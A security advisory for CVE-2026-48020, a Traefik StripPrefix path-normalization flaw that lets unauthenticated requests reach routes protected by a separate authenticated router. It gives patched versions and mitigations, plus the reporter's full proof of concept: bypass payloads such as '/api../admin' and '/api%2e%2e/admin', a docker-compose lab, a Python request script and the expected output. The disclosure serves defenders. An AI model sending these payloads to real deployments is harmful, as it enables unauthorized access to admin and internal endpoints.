CVE-2026-48020: Traefik StripPrefix Route-Level Auth Bypass via Path Normalization
Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.
A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.
This report specifically affects StripPrefix.
Affected Versions Tested
| Image | Observed Version | Result | |---|---|---| | traefik:v2.11 | v2.11.46 | Affected | | traefik:v3.6 | v3.6.17 | Affected | | traefik:latest | v3.7.1 | Affected |
Lab Contrast
| Image | Result | |---|---| | traefik:v2.10 | Not reproduced in lab | | traefik:v3.5 | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed | |---|---|---| | GET /admin | Blocked | 401 | | GET /internal/config | Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed | |---|---|---| | GET /api/admin | Not routed to protected backend path | 404 | | GET /api/internal/config | Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives | |---|---|---| | GET /api../admin | 200 | /admin | | GET /api%2e%2e/admin | 200 | /admin | | GET /api../internal/config | 200 | /internal/config | | GET /api%2e%2e/internal/config | 200 | /internal/config |
Minimal PoC
docker-compose.yml
yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro dependson: - backend
backend: image: python:3.12-slim workingdir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000"
dynamic.yml
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
backend.py
python from http.server import BaseHTTPRequestHandler, HTTPServer import json
class Handler(BaseHTTPRequestHandler): def logmessage(self, fmt, args): return
def json(self, status, obj): body = json.dumps(obj).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def doGET(self): if self.path == "/admin": self.json(200, { "seenpath": self.path, "secret": "ADMINSECRETREACHED" }) elif self.path == "/internal/config": self.json(200, { "seenpath": self.path, "secret": "TRAEFIKLABINTERNALCONFIG" }) elif self.path == "/admin/exec": self.json(200, { "seenpath": self.path, "rcechainmarker": True, "note": "protected execution endpoint reached" }) else: self.json(404, { "seenpath": self.path, "secret": None })
HTTPServer(("0.0.0.0", 9000), Handler).serveforever()
poc.py
python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ]
for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
Run
bash docker compose up -d python3 poc.py
Expected Vulnerable Output
text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seenpath=/admin /api%2e%2e/admin 200 backend seenpath=/admin /api../internal/config 200 backend seenpath=/internal/config /api%2e%2e/internal/config 200 backend seenpath=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin
The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.
The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.
Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
- CWE-863: Incorrect Authorization
Related weakness candidates:
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize - CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
text PathRegexp(^/api(/|$))
or:
text PathPrefix(/api/) with StripPrefix(/api/)
Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
</details>
Other sources
Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/traefik/traefik/v3to a version that resolves this vulnerability.Fixed in 3.7.3 - Upgrade
Upgrade
go/github.com/traefik/traefik/v3to a version that resolves this vulnerability.Fixed in 3.6.19 - Upgrade
Upgrade
go/github.com/traefik/traefik/v2to a version that resolves this vulnerability.Fixed in 2.11.48 - Upgrade
Upgrade
traefikto a version that resolves this vulnerability.Fixed in 2.11.48 - Upgrade
Upgrade
traefikto a version that resolves this vulnerability.Fixed in 3.6.19 - Upgrade
Upgrade
traefikto a version that resolves this vulnerability.Fixed in 3.7.3
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48020?
CVE-2026-48020 has a severity rating of 80, indicating it is a high severity vulnerability.
How do I fix CVE-2026-48020?
To fix CVE-2026-48020, update Traefik to the latest stable version that includes the patch for this vulnerability.
What impact does CVE-2026-48020 have on my Traefik setup?
CVE-2026-48020 allows unauthenticated attackers to bypass route-level authentication and authorization, posing a significant security risk.
Which versions of Traefik are affected by CVE-2026-48020?
CVE-2026-48020 affects Traefik versions v2 and v3 specifically, primarily those that utilize the `StripPrefix` middleware.
Is there a recommended action for users of Traefik in light of CVE-2026-48020?
It is strongly recommended for users of Traefik to upgrade to the latest versions to mitigate the risks associated with CVE-2026-48020.